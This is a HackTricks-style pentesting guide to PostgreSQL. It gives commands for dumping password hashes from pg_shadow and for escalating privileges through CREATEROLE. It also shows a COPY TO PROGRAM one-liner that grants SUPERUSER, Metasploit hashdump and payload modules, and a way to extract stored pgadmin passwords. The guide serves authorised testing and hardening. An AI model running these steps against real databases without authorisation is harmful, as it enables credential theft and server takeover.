13 KiB
5432,5433 - Pentesting Postgresql
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Support HackTricks and get benefits!
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks github repo.
Basic Information
PostgreSQL is an open source object-relational database system that uses and extends the SQL language.
Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
PORT STATE SERVICE
5432/tcp open pgsql
Connect
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
Select user;
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
For more information about how to abuse a PostgreSQL database check:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}
Enumeration
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Enumeration of Privileges
Roles
Role Types | |
---|---|
rolsuper | Role has superuser privileges |
rolinherit | Role automatically inherits privileges of roles it is a member of |
rolcreaterole | Role can create more roles |
rolcreatedb | Role can create databases |
rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier |
rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. |
rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. |
rolpassword | Not the password (always reads as ******** ) |
rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration |
rolbypassrls | Role bypasses every row-level security policy, see Section 5.8 for more information. |
rolconfig | Role-specific defaults for run-time configuration variables |
oid | ID of role |
Interesting Groups
- If you are a member of
pg_execute_server_program
you can execute programs - If you are a member of
pg_read_server_files
you can read files - If you are a member of
pg_write_server_files
you can write files
{% hint style="info" %} Note that in Postgres a user, a group and a role is the same. It just depend on how you use it and if you allow it to login. {% endhint %}
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT "username" TO pg_execute_server_program;
GRANT "username" TO pg_read_server_files;
GRANT "username" TO pg_write_server_files;
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tables
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
## You can also check that with
\dp pg_shadow
Functions
\df *
\df *pg_ls*
\df+ pg_read_binary_file #Check who has access
Postgres Privesc
CREATEROLE Privesc
Grant
According to the docs: Roles having CREATEROLE
privilege can grant or revoke membership in any role that is not a superuser.
So, if you have CREATEROLE
permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Modify Password
Users with this role can also change the passwords of other non-superusers:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER
role:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
{% hint style="info" %}
This is usually possible because of the following lines in the pg_hba.conf
file:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
{% endhint %}
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
logging
Inside the postgresql.conf file you can enable postgresql logs changing:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Then, restart the service.
pgadmin
pgadmin is an administration and development platform for PostgreSQL.
You can find passwords inside the pgadmin4.db file
You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
Client authentication is controlled by a config file frequently named pg_hba.conf. This file has a set of records. A record may have one of the following seven formats:
Each record specifies a connection type, a client IP address range (if relevant for the connection type), a database name, a user name, and the authentication method to be used for connections matching these parameters. The first record with a matching connection type, client address, requested database, and user name is used to perform authentication. There is no "fall-through" or "backup": if one record is chosen and the authentication fails, subsequent records are not considered. If no record matches, access is denied.
The password-based authentication methods are md5, crypt, and password. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg_authid.
Support HackTricks and get benefits!
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks github repo.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}